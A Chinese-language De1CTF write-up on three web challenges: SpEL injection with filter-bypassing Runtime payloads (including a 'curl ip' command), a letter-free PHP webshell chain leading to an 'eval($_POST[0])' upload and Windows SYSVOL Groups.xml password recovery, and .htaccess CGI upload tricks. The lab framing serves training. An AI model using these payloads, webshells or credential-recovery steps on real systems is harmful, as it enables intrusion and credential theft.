又是一年De1CTF,继续被吊锤orz
calc
这题进去是个计算器,应该不会再是拟态那题了吧233
抓个包发现
提示了SPEL注入
测试一下,确实是SPEL
然后尝试各种姿势,发现java.lang、T()、getClass、toString()
这些都被过滤了,java萌新傻了Orz
于是参照这篇文章
https://www.jianshu.com/p/e3c77c053359
写了个payload''.class.forName('java.la'+'ng.Runtime').getDeclaredMethods()[16].invoke(''.class.forName('java.lan'+'g.Runtime').getDeclaredMethods()[8].invoke(null),'curl ip')
然而本地能用,到这题的环境上就用不了了,测了一下发现用[]
就会400,但我看大佬的wp可以用数组呀???我人傻了
最后还是大佬们的操作比较强''.class.forName(%27java.la%27%2B%27ng.System%27).getProperties()
获得所有包''.class.forName('java.nio.file.Files').readAllLines(''.class.forName('java.nio.file.Paths').get('/flag'))
得flag
Java整得少实在不知道利用哪些类好
Hard_Pentest_1
1 | <?php |
这题有点想当然了,没仔细审以为后缀php是大小写都过滤了,只要后缀phP就可以直接绕过的
然后比较麻烦的是这个正则过滤,过滤掉了字母数字,甚至丧心病狂地连;
都给过滤了,难顶
字符部分可以用phithon大佬的脚本直接绕过
一些不包含数字和字母的webshell
而;
的绕过则比较有意思,直接用<?=code?>
直接结束这段php,以此来代替;
的作用
于是处理一下脚本
1 | <?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?> |
由于环境是php7.2,因此用assert()
无法执行命令(这里整了好久,一直懵逼为啥执行不了),这里修改成了直接传入函数执行
然后传一个shell上去__=file_put_contents&_=kotori.php&___=<?php eval($_POST[0]);
蚁剑连接上去,可以看到是Windows Server
。下面就是windows的渗透了
使用net use
命令列出网络名,能查找到hint
是一个压缩包,解压需要密码
解压密码的获得参照这里
域渗透——利用SYSVOL还原组策略中保存的密码
先用ipconfig/all
获得主机所在域
然后访问路径\\<DOMAIN>\SYSVOL\<DOMAIN>\
然后找到\\test.local\SYSVOL\test.local\Policies\{ID}\User\Preferences\Groups\Groups.xml
这个文件。翻了一下发现只有ID是{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}
有这个文件,于是下载下来
1 | <?xml version="1.0" encoding="utf-8"?> |
密码是加密过的,是使用AES256进行加密。由于微软提供了私钥,因此能够还原出密码
利用已有powershell脚本还原即可
1 | function Get-DecryptedCpassword { |
解压得到flag与下一题的提示
##
check in
对文件内容有过滤
对文件名过滤了ph
、ml
、cgi
,同时进行了MIME头的检测
这里利用的是Apache Mod CGI
,这个最初是用来绕disabled function
的,没去想到在文件上传上的利用
.htaccess
设置其它后缀解析为cgi程序
1 | Options +ExecCGI |
然后写个shell脚本即可
1 | #! /bin/bash |
这里的Content-Type
是防止出现500错误
本来应该挺简单的,不过一直出现问题。放到本地上测试后看apache的错误日志,发现报错not found file or dictionary
,查了下才知道又是window和linux之间换行符不同造成的问题,在linux下编辑文件即可
还有另一种做法
1 | Addtype application/x-httpd-p\ |
.htaccess
换行拼接即可
##